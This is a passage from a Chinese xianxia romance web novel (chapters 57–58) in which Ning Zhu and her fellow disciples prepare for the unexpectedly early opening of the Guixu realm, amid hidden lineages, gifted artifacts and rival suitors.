姜沁月破涕为笑:“思无怎么知道这是妹妹。” 姜思无:“我喜欢妹妹!!姑姑要给我生一个妹妹!” 姜沁月将他拥入怀中:“不管是男孩还是女孩,都是思无的弟弟妹妹,对吗?” 姜思无点头。 姜沁月刮了刮他的鼻尖:“那思无可以答应姑姑,保护好弟弟或是妹妹,好吗?” 当时不解其意,如今想来……难道那个时候姑姑就已经决定跟谢平阳离开? 谢寒卿听完这段往事,面色平静:“想来的确是有什么我们不知道的事情。” 姜思无观察着谢寒卿的表情:“……寒卿,你不怨姑姑吗?” 谢寒卿眼睫颤了下,忽然开口说:“表兄,我很可能有一个弟弟。” 姜思无的表情一点点凝固,他觉得自己的嗓音变得很古怪:“……弟弟?” 谢寒卿道:“我现在还不确定。” 只需要再取一点江似的血。 他便可以通过验亲阵法,来确定他的猜测。 姜思无的眼神都变了:“难道姑姑和谢平阳离开梦京之后,还诞下了一个孩子……你见过他?” 谢寒卿回忆着江似身上的重重古怪。 似有若无的魔气,魂灯已灭却没死……以及和弃苍的关联。 最重要的是,昨晚的交手……和那个古怪的梦。 仿佛冥冥之中有所暗示。 哪怕是修士,亦不敢说自己寿与天齐,而这样不死不灭的怪物……竟有两个。 天底下哪会有这般巧合之事? 更何况他在江似身上感应到了与宁竹体内的红丝如出一辙的熟悉感。 宁竹体内的红丝并非天生,而他的古怪却是与生俱来。 现在看来,同他一样古怪的,还有一人。 姜思无打断谢寒卿的思绪:“若是姑姑真的还有孩子在世……必须确认清楚他的身份。” 那可是姑姑的血脉!他恨不能现在就将人抓过来验亲。 谢寒卿色若琉璃的眼瞳微微转了下:“自然。” 沉默片刻,谢寒卿又说:“但对方也可能是谢平阳的孩子。” 姜思无僵住。 姜思无跟着谢寒卿来到幽冥集市时,整个人仍是恍惚的。 今天听到的秘闻太多,他得好好消化下。 当无烬出现在他面前时,姜思无险些脱口而出:这不会就是我们的弟弟吧? 姜思无从那眼神空洞,脸上缠着布条的少年飘过,又落在谢寒卿脸上,很是狐疑。 谢寒卿仿佛看出他的想法,淡声说:“无烬百年前因为一些事情离开了天玑山。” 姜思无的桃花眼微微挑起,百年前? 好了,那不是。 等等,百年前?此人……分明是个凡人。 他眼睛眯起,审视无烬。 谢寒卿道:“医药,占卜,锻体,食道……姜家会提供你所需要的一切。” 姜思无此时已经回过味来了。 此人原来是个堕修。 堕修虽然灵根被废,形同凡人,但依然可以吸纳天地灵气,只是存不住。 饶是如此,也比真正的凡人强上许多,寒卿说的这些,他的确可以涉足。 只是一个堕修,为何会得寒卿如此照拂? 姜思无倒也不是那等追根问底之人,点点头:“你放心。” “我现在就要回淮水,你便同我一道吧。” 无烬抬起了头。 他……还没有跟宁竹告别。 谢寒卿开口:“给宁竹留个传音符吧。” 不料就在这时,头顶传来一道声音:“诶?谢师兄,姜师兄,你们怎么在这!” 谢寒卿瞳孔一缩,来不及躲了。 宁竹已经跳下飞剑,很是惊讶。 姜思无搞不清楚情况,对宁竹说:“宁师妹,你怎么会来这里?” 宁竹:“啊?” 谢寒卿开口:“前几日我在幽冥集市遇见无烬,问他愿不愿意去淮水修炼,他答应了。” 无烬空洞的眼转向宁竹,片刻后,他点了点头。 姜思无摇着折扇笑起来:“原来大家都是认识的。” 宁竹压根没多想,而是为无烬开心:“去淮水很好啊!什么时候出发?” 无烬沉默片刻:“今天。” “那么着急!”宁竹有点意外。 但宁竹思索了下,虽然她在这宅院周围布置下许多防御法器,但肯定不如淮水安全。 无烬在那魔头面前挂了名,有姜家庇护,也不失为一件好事。 于是她说:“等等!我马上给无烬准备一份行李!” 姜思无本想说无烬到淮水是客,他自然会替他好好准备这些东西,但看着宁竹已经忙碌起来,他笑着摇了下头。 宁竹习惯在随身的乾坤袋里带着各式各样可能会用到的东西,很快就整理出一只乾坤袋来,里面从丹药到法器应有尽有。 她把乾坤袋递给无烬:“我找机会来淮水看你。” 无烬低头盯着自己的鞋尖。 宁竹笑:“借你的!等你赚钱了再还我。” 无烬终于慢吞吞抬起手,接过那只乾坤袋:“……好。” 宁竹又掏出来一只锦盒:“这个是送你的!” 她笑盈盈说:“我今天就是来送这个的,打开看看?” 无烬迟疑了下,打开锦盒。 里面放着一个漂亮的黑色面罩。 他愣了下,拿起面罩。 面罩上有精巧的暗纹,不知是什么材质做成的,光泽莹莹,触手生凉。 宁竹:“是夜莹草编的,会自动贴合面部。” “颜色你喜不喜欢?若是不喜欢,我可以拿回去炼化,加点其他颜色。” 无烬的指尖攥紧面罩,他垂眸:“……很好看。” 宁竹松了一口气:“那就好!” 姜思无的桃花眼垂下来,故作委屈:“宁师妹给这位小友编面罩,给寒卿编剑穗,可偏偏忘了师兄我。” 宁竹一愣,忽然有点心虚。 这么说来她还给江似编过发带,给白晚编过绒花…… 宁竹忙说:“姜师兄想要什么,我给你编!” 谢寒卿眉头微蹙: “归墟马上就要开启,宁师妹得抓紧时间筹备。” 姜思无露出失落:“既然如此,那我还是不要叨扰宁师妹了。” 宁竹摇头:“不碍事的!我编这些很快的!而且还可以锻炼灵力精细操控的能力。” 她注意到姜思无手中的折扇,说:“要不我就给姜师兄编一个扇子吊坠吧,红色怎么样?” 站在一旁的谢寒卿紧紧抿着唇,一双冷淡的瞳就如冰冻三尺的湖面。 姜思无忍住笑意:“好啊。” 他含笑看宁竹一眼:“寒卿可是极为爱惜宁师妹编的这根剑穗,宁师妹若有空,不若再给寒卿编一根?” 宁竹认真点点头:“好呀。” 姜思无忍不住哈哈大笑,他用扇子轻轻点了下宁竹的额头:“遇到个坏心眼的,不得把你吃干抹净。” 他也不逗宁竹了,正了脸色道:“原是金丹及以上的弟子才能进入归墟,宁师妹为什么会想去归墟?” 宁竹沉默了下,说:“……听说归墟法宝机缘无数,我自然也是想去的。” 姜思无这样的人精,一眼便看出宁竹有事相瞒,但他不会追根问底,只是含笑道:“归墟五十年方开启一次,的确不能错过。” “宁师妹放心,届时我们一同进入归墟,可以照拂彼此。” 宁竹垂着眼点点头。 ……可是她要直接去音希山。 如果真的在归墟里遇见他们,她找机会偷偷离开就好。 寻常修士入归墟,都是为了机缘法宝。 但她不是。 她入归墟,是为了寻找音希山神鸟。 一个虚无缥缈的传说,鲜少有人知道,更别提有人会信。 况且哪怕知晓了这个传闻,归墟开启的时间是有限的,大部分人也不会把精力浪费在寻找音希山上。 姜思无又说:“寒卿说的不错,宁师妹先把精力放在筹备上,至于扇坠……等从归墟回来再说。” 他眯着眼摇了下折扇:“算来离归墟开启……不足一个月了。” 姜思无打算亲自送无烬回淮水。 宁竹和谢寒卿站在庭院中,目送他们消失在茫茫云海中。 此时与谢寒卿单独相处,宁竹不由自主想起了那个古怪的梦。 她有点尴尬,眼睛都不知道往哪里看了。 宁竹刚想先溜走,谢寒卿便说:“宁师妹,我们一起回去吧。” 反正都要回宗门,现在开口拒绝多少有点不合适,于是宁竹只能硬着头皮说:“好。” 两人御剑往回,一前一后飞在空中。 谢寒卿的声音忽然从身后传来:“这把剑用得顺手吗?” 剑? 宁竹低头,这才意识到他问的是脚下的流烟剑。 还是江似送她的那一把。 她的剑在炎陵庄断掉之后,刚开始用的是谢寒卿给她的点青剑。 当时她还抱着尽量少跟主角团接触的想法,特地把那把点青剑还给了谢寒卿。 ……难道谢寒卿很在意这件事? 宁竹斟酌着说:“习惯的,珠玑阁出品的东西很好用,很适合我。” 谢寒卿眼睫微垂,淡淡嗯了一声。 两人都没再说话。 快到天玑山了,谢寒卿的洞府在主峰,宁竹的洞府在外门弟子所在的峰群,两人方向不同。 宁竹在半空中停下来,回眸看向谢寒卿,要跟他告别。 小仙君面色依然很苍白,眼底泛着一圈淡淡的青。 宁竹的心忽然揪了下:“……谢师兄,你的药一定要按时用。” “在归墟开启之前,一定得把身子养好。” 就这么反反复复的折腾,宁竹是真的担心他身子会出问题。 天玑山峰群万千,苍翠连绵,少女的衣摆在风中轻轻摇晃。 她眸中含着忧色。 谢寒卿喉结微滚:“宁宁。” 宁竹眼眸蓦然瞪大。 “……我可以这么唤你吗。” 踏着飞剑的小仙君与梦中那个背着自己走在雪地中的少年重叠在一起。 宁竹的耳尖一点点变得通红:“谢,谢师兄叫我宁师妹就好了。” 谢寒卿眼眸微动。 ……果然她也做了那个梦吗。 他面上不见端倪,颔首:“好。” 片刻后,他又问:“归墟凶险,宁师妹……一定要去吗?” 宁竹正了脸色:“嗯。” 谢寒卿盯着她的眼睛。 那种古怪的感觉又来了。 ……仙门大比时,她为什么执意要进入秘境? 如果说进入秘境之后,她体内的红丝引诱她进入了幻境,那为什么在此之前,她就反复尝试告诉自己一些信息? 就像是她提前知道些什么。 而这一次,她又为什么执意要去归墟? 以他对宁竹的了解,她并不是甘愿冒着生命危险去换机缘法宝之人。 为什么要那么辛苦攒积分,就为了进一趟归墟? ……难道这一次,归墟也会发生什么危险? 不,不对。 仙门大比时,她一开始并没有执意要进入秘境,而是在她发现自己递给他的那张纸条是一片空白时,才不管不顾跳进了秘境。 而那张空白的纸条…… 像是天道所限,宁竹要传递的消息无法说出口。 谢寒卿忽然想起曾经看过的古籍。 传闻上古时期曾出现过天知之人,天知者,可窥天道。 只是天道不可窥探,天知者,多早夭。 ……还有一点。 他看不到宁竹的记忆。 谢寒卿的呼吸蓦然乱了。 他听到自己用干涩的嗓音问:“宁竹,仙门大比时,你要跟我说的话是什么?” 冷不丁听谢寒卿提起这件事,宁竹才想起来,完蛋,坑还没圆上呢。 秘境里发生了太多事,她以为他都不记得了。 宁竹跟姜思无说过,自己做了噩梦。 修真界本就有许多玄而又玄的事情,自己咬死这个说法,谢寒卿还能怀疑不成。 于是宁竹道:“你们进秘境前,我做了噩梦。” “……梦见秘境中血流成河,死伤无数,所以那几天一直想跟你说这个事情。” 谢寒卿一动不动看着她,不肯放过她的一丝一毫表情。 她在说谎。 可是……如果宁竹是天知之人,预料到秘境中会发生危险,应该预警的不是他,而是白晚江似等人。 毕竟他们“死”在了秘境中。 许多古怪之处如同一团乱麻在脑海中纠葛。 谢寒卿总觉得自己忽视了什么东西。 他的目光落在宁竹身上。 可惜,自己看不到她的记忆。 躁意攀爬。 谢寒卿盯着少女白皙柔软的脸颊。 心想就算宁竹是天知之人又如何? 窥伺天道,若遭天罚,他也会想方设法替她代受。 天知者早夭,若真到肉身衰败那一步……他便再为她重新寻一具肉身。 ……肉身? 谢寒卿蓦然想起藏在魔宫地底的那俱傀儡。 淡若琉璃的瞳色微微变深。 难道他知道些什么? 宁竹还在解释:“可能是一种不好的预感,所以才会做那些乱七八糟的梦……” 谢寒卿的目光滑落在少女开合的红唇上。 他又想起了一点。 宁竹独身入魔域找人。 江似死时,她的伤心不似作伪。 那又是从什么时候开始,她猜到了江似没死? 胸膛处,心跳更乱了。 宁竹像是一个巨大的 谜团。 猜不破,看不透。 想将她的秘密一寸寸铺开,碾碎。 想窥探她的所有,让一切都毫无保留。 谢寒卿喉头发干,眼珠机械地转了下。 第57章 谢寒卿是个很善于伪装情绪的人。 哪怕心底已经惊涛骇浪, 但他面上却没有丝毫波动,反而开口道:“归墟不同大比,弟子之间可以组队,到时候宁师妹同我一道, 不会有危险。” 宁竹违心地点点头。 原著里归墟死的人不多, 她认识的就只有一个姜汐年。 虽然她不大喜欢这个人吧……但她都知道姜汐年会死在归墟, 无论如何也要出言提醒下。 若是放在以前, 宁竹还会纠结犹豫要不要插手。 放到现在, 她已经无所谓了。 反正剧情都已经偏移了, 救下了姜思无, 说不定也能救下姜汐年。 到时候见机行事就是。 不知不觉中,已经到分开的地方了。 宁竹指了指下面:“谢师兄, 那我先走了?” 谢寒卿看着她,缓缓点了点头。 少女很快消失。 谢寒卿足踏飞剑, 周身雾气缭绕, 如同云中仙鹤。 他闭眼感应了下骨戒的位置,宁竹已经到洞府了。 小仙君垂下长睫,掩住眸底翻涌的暗色。 所有人都没想到,归墟会提前开启。 距离归墟原定开启日的前二十余日, 梦京上空忽然出现一个隐隐约约的裂隙。 那天晚上宁竹刚好从魍魔谷回来,灰头土脸,衣摆上还沾着不少血。 她还来不及收拾自己,半空中跳下来一个光风霁月,白衣胜雪的小仙君。 宁竹愣了两秒, 忙抛诀将自己收拾干净:“……谢师兄?” 谢寒卿上上下下检查了宁竹一遍,见她无碍,稍稍松了一口气。 宁竹来不及细想为什么谢寒卿会知道她在这里, 见他面色凝重,问:“谢师兄,可是发生了什么事?” “归墟要开启了,可能就是这两三日。” 此话无异于平地惊雷,宁竹一惊:“怎么会?” 归墟历来都是五十年开启一次,顶多错差一两日,怎么会足足提前了将近一个月? 宁竹算了下时间,心重重沉下去。 三日后便是朔月,如果是这样的话,谢寒卿的病……岂不是要在归墟中发作? 宁竹立刻说:“谢师兄,不然这一次你别……” 不料谢寒卿也同时开口:“宁师妹,别去归墟了。” “这一次归墟开启的时间太过奇怪,加之魔修猖獗,不知道归墟中会发生什么……宁师妹,如果可以,这一次别去归墟了。” “归墟五十年开启一次,下一次再去也不迟。” 谢寒卿向来是个话少的人。 宁竹听完他的劝阻,睫毛颤了颤。 原著里关于归墟……宁竹只记得谢寒卿诛杀了归墟魇魔,姜汐年为救他而死。 至于其他未着墨的人……好吧,又是薛定谔的猫。 可是她等不了五十年了。 ……她不知道修真界的时间流速,如果这里的时间流速和她的世界是一致的,爷爷根本等不了那么久。 她不在,谁来给那个小老头养老送终? 宁竹抬眸笑了笑:“可是谢师兄,我一定要去的。” 谢寒卿对上少女的眼眸。 杏眼乌黑,眸光坚定。 ……她其实是个很固执的人。 谢寒卿错开视线,颔首:“宁师妹为入归墟准备了些什么东西,给我看看吧。” 宁竹不知道他要做什么。 但出于对他的信任,还是将人带回了自己的小屋,将自己早就开始准备的灵丹法器一一掏出来,铺了满地。 谢寒卿的目光从上面扫过。 从防御法器到攻击法器,从疗伤丹药到增加修为的丹药应有尽有。 她真的做了万全的准备。 宁竹还有些惴惴不安:“归墟开启的时间提前了好多,我本来还打算再准备点东西的。” 谢寒卿敛下长睫。 这些东西,都是在预设一个人行动的前提下备下的。 譬如许多护灵法器。 谢寒卿只一眼便猜到宁竹为什么准备了那么多护灵法器。 归墟幻境无数,魅惑心智的妖兽亦层出不穷,一个人行动的情况下,神智不清最为危险。 毕竟受伤可以医治,但若是神智丧失,很可能会被困在归墟。 宁竹从一开始便没打算和旁人一齐行动。 她到底要做什么? 谢寒卿掩下思绪,嗓音清冷:“准备得很齐全了,但这这几种可以替换下。” 谢寒卿挥袖,几枚天青色的瓶子出现。 “宁师妹准备的这几瓶苍参回春丹是顶级续命药,但药性凶猛,需要以大量灵力疏导克化,否则可能适得其反。” 他举起一只天青色的瓶子:“碧落回春丹药性温和,对低阶修士更好。” 宁竹忙点头。 谢寒卿又拿起一枚护灵法器。 宁竹心尖一跳。 ……是她好不容易寻来的玉髓金珠。 “玉髓金珠佩戴后的确可以抵挡邪祟侵入心神,但宁师妹可知,此物会吸食修士灵力。” 宁竹心虚地点点头。 可这是她能找到的最好护灵法器了,吸食灵力就吸食灵力,她准备了好多补灵丹,到时候……一边吞丹药一便行进就好? 是有点好笑。 没想到谢寒卿忽然摊开手。 一枚通体浅蓝,宛若冰刻的水滴状石头出现在他掌心。 谢寒卿点了下石头,石头忽然化作一只扇动着翅膀的小鸟。 好似幽光凝成,这鸟生着长长的尾羽,每扇动一下翅膀,便有许多冰蓝色的细碎光泽掉落。 小鸟围着宁竹飞了一圈,宁竹只觉得灵台清明,神思舒展。 谢寒卿指尖微并:“隐。” 小鸟消失在空气中。 “宁师妹,伸手。” 宁竹下意识摊开手,只觉得有什么冰凉的东西卧入掌心,像是一碰雪隐没不见。 “现。”谢寒卿道。 小鸟出现在宁竹掌心。 谢寒卿:“清灵鹫,可抵挡邪祟,护住神识。” 宁竹眼睛蓦地瞪大:“清,清灵鹫?!” 这不是早就失传的护灵法器吗? 宁竹下意识想还给谢寒卿:“谢师兄,这个我不能拿。” 谢寒卿淡声说:“是我做的。” 宁竹眼睛瞪得更圆了。 顶级护灵法器,是说做就可以做的? 谢寒卿仿佛被她的表情逗笑,他眼尾浮现出一丝极浅的弧度:“宁师妹收下吧。” 此物是他刚开始在朔月发作时,刻意逼着自己做的。 清灵鹫之所以失传,便是因为制作这种护灵法器时,制作者需要五感尽失,剥离神识。 不仅对制作者掌控灵力的要求极高,而且强制剥离神识对神魂影响很大,传言曾有修士为做出此物神魂失守,咯血而亡。 谢寒卿做成此物,也算是无心插柳。 朔月时痛到五感尽失乃是常态,剥离神识亦不算难事,漫长的痛苦中,他需要找些事情转移注意力,以免暴动伤人。 本来也只是尝试,没想到做出来了一只完整的清灵鹫。 这些无需同她说。 谢寒卿起身:“归墟提前开启,各门各派乱作一团,我得去找师尊一趟。” “宁师妹且先安心,有消息了我会通知你。” 谢寒卿没有多留,很快御剑离开。 宁竹握着清灵鹫目送他离开,重重叹了一口气。 出了那么大的事情,宁竹也睡不着了。 已经入夜,还能时不时看见有弟子行色匆匆御剑而过。 宁竹检查了乾坤袋一遍又一遍,还是心烦意乱。 最后她索性爬到床上,躺平,双手安静放在肚子前,直勾勾盯着帐幔看。 归墟就要开了。 这些日子压抑在心底的情绪仿佛被翻搅的泥沙,全都哗啦啦扬了起来。 期待的,恐惧的,通通混杂在一起。 归墟怎么就要开了? 她……还没准备好。 其实也就提前了不到一个月,为什么有种被打了个措手不及的感觉? 宁竹盯着帐幔看了太久没眨眼,眼眶隐隐有点酸胀。 她其实知道自己在害怕什么。 这么久以来,她一直在为去归墟做准备。 如今归墟就要开了,便意味着,她马上就可以问出自己的问题了。 ……而这个问题的答案,是未知数。 如果音希山的神鸟都无法回答她到底该怎么回家,那这么久以来的努力,都是无用的。 宁竹忽然觉得喉头发堵,整个人仿佛置身于悬崖。 恐慌在蔓延。 她……回不去了怎么办? 不,不行。 宁竹,你到底在怕什么? 都还没有进归墟,还没有找到音希山见到神鸟,就在想象失败的结果? 太可笑了!! 上方忽然出现一张脸。 四目相对。 宁竹尖叫一声,险些滚下床榻。 江似轻笑着扶她一把:“在发什么呆?” 少年不知是何时出现在床榻边的,马尾高束,腰封收紧,身形清瘦利落。 宁竹平复了下呼吸,立马紧张起来:“江似!你怎么又来了!” 她作势要拉他的袖子跑,江似却反手一拦,他大摇大摆走到窗边,长臂一展,在摇椅上躺下。 宁竹:? 她忙冲到窗边,仔细倾听有没有禁制被触发后的铃声。 ……好像没有? 是因为归墟的事,大家都没注意到一个魔修闯入了天玑山? 可是江似呆在这里很危险,宁竹扭头对他说:“江似,我们先离开。” 江似却拿起了她放在桌案上的蜜饯,举到面前看了下,见宁竹急匆匆走过来,他问:“是用云英花蜜腌的吗?” 宁竹见他这幅散漫的样子,终于觉察到不对劲。 她狐疑地探了下江似的经脉。 宁竹瞳孔一缩。 江似的魔气……不见了?! 江似适时开口:“动了点儿手脚,现在……就当我是个普通修士吧。” 宁竹上下打量他,有什么法术能把魔修伪装成普通修士吗? 简直闻所未闻。 江似也在打量宁竹。 这幅身子到底是不如本体,邪瞳没办法用了,琉晶石做的眼珠看东西时简直索然无味。 那些深深浅浅飘浮在空气中的欲念消失了。 他带着伪造的弟子腰牌大摇大摆混入天玑山,一路走到宁竹的洞府,遇到的弟子甚至还带着忧色说:“这位师弟,夜色已深,快些回自己的洞府去吧,外面不安全。” 真是可笑。 江似已经习惯了随时可以侵入一个人的识海,窥探对方的欲念。 如今面对一张陌生但含着关切的脸,他竟一时猜不到不知道对方到底是真心还是假意。 江似最终只能控制着肌肉露出一个假笑:“多谢师兄关心。” 他带着这种古怪的情绪一路来到宁竹的屋子,整个人终于放松下来。 他从来都看不到宁竹的欲念,一如既往。 只是现在,江似又隐隐烦躁起来了。 傀儡有五感,但没办法进食,他能闻到蜜饯甜丝丝的味道,但吃不了。 啧,幸好当时没把她变成傀儡。 这丫头那么爱吃,尝不到好吃的会哭吧。 宁竹觉察到江似的眼神变得很怪,她摸了一把脸:“我脸上有什么东西吗?” 江似:“嗯。” 宁竹有点尴尬,忙凑到水镜边看,她眨了眨眼:“没有啊……” 江似笑得肩膀轻颤。 宁竹这才意识到被他耍了,她板着脸:“那么晚了,找我有事吗?” 江似慢慢正了脸色:“归墟要提前开启了。” 宁竹心想,又是为这个事情。 她正要告诉他自己一定要去,不料江似开口说:“准备好了吗?” 宁竹愣了下。 可能是她怔住的时间有点长,江似抬手揉了一把她的头发:“怎么了?不敢去了?” “没,没有啊。”宁竹缓过神来:“当然要去的!” 她还记得去炎陵庄前,江似说自己去归墟是为了怪病,但现在…… 宁竹有点迟疑:“你还是要去寻找治疗怪病的方法吗?” 江似沉默片刻,点头:“是啊。” 不知为何,宁竹稍稍松了一口气。 或许是知道还会有一个人和她一起去寻找音希山的缘故。 江似捕捉到了她微妙的情绪变化,他脸上散漫的笑意消失了。 他微微倾身:“宁竹,你去归墟是为了什么?” 宁竹自然不可能告诉她。 穿书这种事情,太骇人听闻了,要告诉江似他只是一本书里的路人甲? 宁竹担心他会觉得是自己疯了。 于是宁竹说:“现在还不能告诉你。” 江似慢吞吞坐回去:“这样啊。” 他摊了下手:“好吧。” 宁竹犹豫了下,还是开口道:“我进归墟之后,可能要先和师门的人同行一段路……” 少年的眼神一点点变得阴翳:“和谁?谢寒卿么?” 宁竹小声说:“……还有姜师兄。” “但我会找机会溜走的,毕竟我要去的是音希山。” 她顶着江似的目光,声音更小了:“……你能不能先和我分开一下,我再来找你汇合?” 江似盯着她,几乎是咬牙切齿说:“我就这么上不得台面?” 宁竹摇头:“当然不是!但是江似,你的魂灯已经灭了,要是被谢师兄发现你还活着……” 她打了个冷战,不敢设想后面的事。 屋里没掌灯,月色斑驳,落入少年深不见底的眼,叫他的眸光愈发幽暗。 江似轻轻笑了声:“是啊,已死之人,实在不宜露面。” 但一个不死不灭的怪物,就适合陪伴在她身边么? 恶意在心底攀爬,江似眼神越发阴冷。 谢寒卿不敢在她面前戳穿已经见过自己的事。 他可没那么光明磊落。 江似忍不住勾起唇角。 哈,两大世家之后,天玑山首徒,同他一样是个不死不灭的怪物? 多有趣。 他要当着宁竹的面,把他那副令人作呕的皮囊扒下来。 要是宁竹知道了真相……一定会害怕他,远离他。 江似盯着宁竹手指上的骨戒,笑盈盈说:“你放心,到时候我会稍作伪装的。” 他可以不露面。 先让白晚出来与故人见个面,不是正好么? 梦京上方的裂隙越来越明显,时间不等人,天玑山第二日便安排弟子一同乘飞舟前往梦京。 这是宁竹第二次坐上这只飞舟。 但不同的是,这一次能去归墟的都是佼佼者,宁竹一身浅青色弟子服夹在其中,实在是有些扎眼。 自然不免有人在背地议论。 “……筑基期外门弟子,去了不是找死吗?” “宗门这凭借积分就可以破例进入秘境的规则真应该改改了……” 也有人出言维护:“你们不记得这位师妹了吗?仙门大比的时候,也是她出了一份力,你们才能活着出来……” “一个筑基期弟子而已,若不是谢师兄和姜师兄在,就凭她还能力挽狂澜?” 这些议论宁竹都听到了。 她体内有红丝一事到底十分怪异,也是出于对她的保护,谢寒卿和姜思无并没有大肆宣扬她在秘境中是如何救人的。 所以普通弟子只知道她帮了忙。 但修真界嘛,修为高低就代表着绝对实力,那么多佼佼者,怎么会愿意承认是被一个不如自己的人救了。 宁竹压根不在意。 不过她也不想在这里被当猴子一样围观,正打算开溜,忽然有人从后面拉住她的胳膊。 宁竹挣扎了下,没挣脱。 她扭过头,看清来人之后,忙唤了一声:“白师姐!” 自魔渊开口,白暮一直四处奔波巡查,白晚“已死”,她现在不仅要巡查天玑山的领地,更是要经常回南陵。 短短数月,白暮整个人都瘦了一圈,眉心甚至浮现出一道浅 浅的纹路,似是蹙眉太多。 白暮点了下头,拉着她径直走到方才议论纷纷的弟子面前,眸光扫过众人,一字一句说:“背地妄议同门,天玑山门规里何时教了你们这一条?” 白暮乃是世家出身,又是掌门座下弟子,积威甚重,不少弟子都瑟缩着低下头。 白暮直勾勾盯着某几个弟子:“天玑山从开宗立派起,便有规定弟子可以通过积分获取秘境入场资格,需要多高的积分想必你们都知道,背后又要付出多少想必各位也清楚。” “再让我听到你们在背后非议同门,定不轻饶!” 第58章 有胆小的弟子忙认错:“白师姐我们错了!” 他还算机灵, 转向宁竹:“宁师妹,跟你道歉,是我们不对。” 都是同门,宁竹懒得计较, 随意摆摆手:“没事。” 白暮见众人有悔改之意, 也不再多说, 昂首阔步从众人面前走了过去。 宁竹本想道谢, 但见她独自一人走到飞舟尾部, 站在船舷旁边眺望云海, 一时半会也不好打扰她。 宁竹站在原地看了白暮一会儿, 打算躲到房间里打会儿坐。 她找到一间没人的屋子,关上门, 忽然听到隔壁传来絮絮人声。 “……白师姐这些时日没睡过一个整觉,状态本就不好, 你要是还这个样子, 我们三个索性别进归墟了。” 是谭芸的声音。 齐玉明带着醉意的声音响起:“我知道,我有分寸。” “有分寸?有分寸还日日买醉?” “齐玉明,我知道白晚师妹死了你很难过,但现在又能如何?人死不能复生, 你这样只会勾起白师姐的伤心事,又何必呢?” 齐玉明沉默了很久,忽然哑着嗓子说:“……我对不起白师妹。” 他哭起来:“我对不起她……” 宁竹垂下眼睫。 炎陵庄时雾妖蛊惑心智,她不小心撞见齐玉明对白晚做出那些事情。 本以为当时乃是被色欲所控,现在看来, 齐玉明竟真的对白晚有情吗? 白晚……宁竹想到后续血洗天玑山的剧情,一颗心沉沉坠到肚子里。 原著里正是幽冥鬼母给魔尊出的建议,掳走弟子尸身一百零八具, 炼成了一具阴尸。 白晚与他们再见面,只会是不死不休的敌人。 宁竹在房间里呆了一会,隔壁哭声渐小,谭芸还在苦口婆心的劝说。 她思索片刻,从乾坤袋里翻出两杯琼浆果莓子饮,上了甲板。 白暮还站在船舷边,风将她的头发吹拂得有些乱。 “白师姐。” 白暮偏了下头。 宁竹将饮子递过去:“师姐喝不喝这个?” 白暮看过来。 少女手生得很小,看上去洁白又柔软,握着一杯色泽漂亮的饮子。 她眼睛生得圆,看人的时候会有有几分不谙世事的天真。 白暮接过饮子,吸了一口。 冰冰凉凉,甜丝丝的果香在舌尖炸开,挺好喝。 宁竹弯起眼睛笑了下,也吸了一口果饮。 两人站在船舷边看了会儿云海,宁竹忽然开口:“魔渊开口,魔修猖獗,白师姐这些日子很累吧。” 白暮又喝了一口果饮。 或许是饮子味道很好,压抑在心头的沉重也散了几分,白暮坦然道:“是很累。” “但不屠尽天下魔修,又如何心安。” 宁竹想到原著里她以身为阵,惨死天玑山的结局,喉头又开始发堵。 宁竹眼睫颤了下:“……是啊。” 仿佛漫不经心,宁竹开口:“听说如今魔气比从前浓烈数倍,修士很容易就会被侵染,有人不得已变为魔修……其实也很可怜。” 白暮细长的眉似乎动了下,但很快她说:“宁师妹有恻隐之心很正常,但你要记住,正邪不两立,修士与魔修,不共戴天。” “就算是不情愿的又如何,魔修就是魔修。” 宁竹缓缓将果饮咽下去,冰凉的液体让她的心也拔凉拔凉。 完蛋,早就知道白暮的性子是这样的,她还在抱有什么期待? 白暮这样的人,是会大义灭亲的。 加上白晚现在什么都不记得了,两人再见面,肯定会手足相残,打得你死我活。 ……如果可以,她们还是先不要见面为好。 能拖一天算一天。 飞舟很快到梦京了。 宁竹扒在船舷边看。 梦京多雪,已是春日,残雪仍未消。 满城都是灼灼盛开的落凰花,红白两色交织在一起,灿漫浓烈。 宁竹其实从来没来过梦京……如果不算那个梦的话。 许多门派都已经到了。 天玑山的飞舟缓缓降落,宁竹一眼便看到了下方的谢寒卿。 归墟出现的地点从来不固定,这一次恰巧出现在梦京城上方,谢家自然要做东操持一二。 谢寒卿提前了一步赶来,此时正同谢家人接待各个门派。 谢氏弟子着红白两色道袍,衣衫通体为白,腰封和袖角处绣有盛开的落凰花。 清冷与灼艳交织在一起,很是特别。 唯独谢寒卿还穿着天玑山弟子服,白衣胜雪,袖角绣有青莲流云纹,整个人飘逸清隽。 天玑山众人纷纷唤:“谢师兄!” 谢寒卿回眸看来。 他身后开着大片大片的落凰花,色泽浓烈,衬得小仙君眉目越发清冷。 明明人头攒动,但他的目光却精准地落在宁竹身上。 谢寒卿冲着她微微笑了下,唇齿轻启,唤了两个字。 有人嘟囔:“谢师兄说什么?” “没听清……” 宁竹的脸却一下子红透了。 她看懂了。 谢寒卿方才在说的…… 是宁宁。 各大宗门接连不停赶来梦京,周围一片嘈杂。 谢寒卿又开始忙碌,仿佛方才只是宁竹的错觉。 宁竹跟在天玑山弟子中,一路往前,整个人晕乎乎的。 忽然有人从后面拉了她一把。 宁竹回头,姜思无弯着一双桃花眼,笑盈盈说:“宁师妹才到吗?” 他拉着宁竹脱离了天玑山的队伍,宁竹眼睛微微睁大:“姜师兄!我们现在要去客栈统一休整……” 白暮不知何时也走了过来,她道:“入归墟无需按照宗门组队,弟子间自由组队即可。” 姜思无笑:“走吧,我们几个都去穹苍仙阁住。” 宁竹还来不及拒绝,已经被两人一前一后夹带着离开了。 谢寒卿住在碧落台,为他们安排的住处是不远处的玉琼阁,乃是围着同一片落凰花林建的。 眼前景象竟与梦中重叠在一起,宁竹身形僵硬,机械地跟着他们穿过廊庑,险些走出同手同脚的步子来。 宁竹根本不敢偏头看下方的落凰花林一眼。 一看她就会想起那个顶着自己的脸的“妖女”。 耻度太高,不能细想。 待到玉琼阁前,姜思无忽然狐疑开口:“宁师妹,你脸怎么那么红?” 宁竹跟被踩了尾巴的猫一样:“啊?有吗?” 她手在脸边扇了扇风:“可能有点热?” 檐角挂着的榴红色风灯忽然发出叮叮当当的响。 宁竹抬头一看,险些跳起来。 谢寒卿御剑缓缓降落,他挥袖一扫,将风灯中的暖晶取走一部分,问:“还热吗?” 周遭空气变得一片清寒,宁竹的脸却依然红得厉害。 姜思无狐疑道:“宁师妹可是身子不舒服?” 谢寒卿淡色的瞳看过来。 宁竹忙摇头:“我想起来了,今早出门我服了一颗火血丹,肯定是因为这个。” 有人笑起来,声音柔柔弱弱:“火血丹腥臭不堪,宁师妹吃那个干什么?” 